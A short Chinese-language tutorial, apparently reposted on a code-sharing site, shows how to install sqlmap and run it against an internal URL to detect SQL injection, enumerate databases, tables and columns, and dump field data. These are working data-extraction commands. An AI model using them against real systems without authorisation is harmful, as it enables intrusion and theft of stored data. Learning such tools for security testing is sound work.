利用sqlmap注入測試


安裝:
yum install -y git
cd /usr/local && git clone https://github.com/sqlmapproject/sqlmap.git
cd /usr/local/sqlmap

--檢查是否可以注入
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch

如果可以注入,結果是類似這個樣子

--獲取數據庫中有哪些庫
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --dbs

--獲取當前URL用的是哪個庫
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --current-db

--獲取庫中有哪些表
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db --tables

--獲取表中有哪些字段
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table --columns

--獲取表中字段的數據
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table -C 'id,name' --dump

 注意:在測過一次后,再次測試時需要將上次測試的記錄刪掉。路徑為:/root/.sqlmap/output

參考地址:https://www.cnblogs.com/cc11001100/p/7634049.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM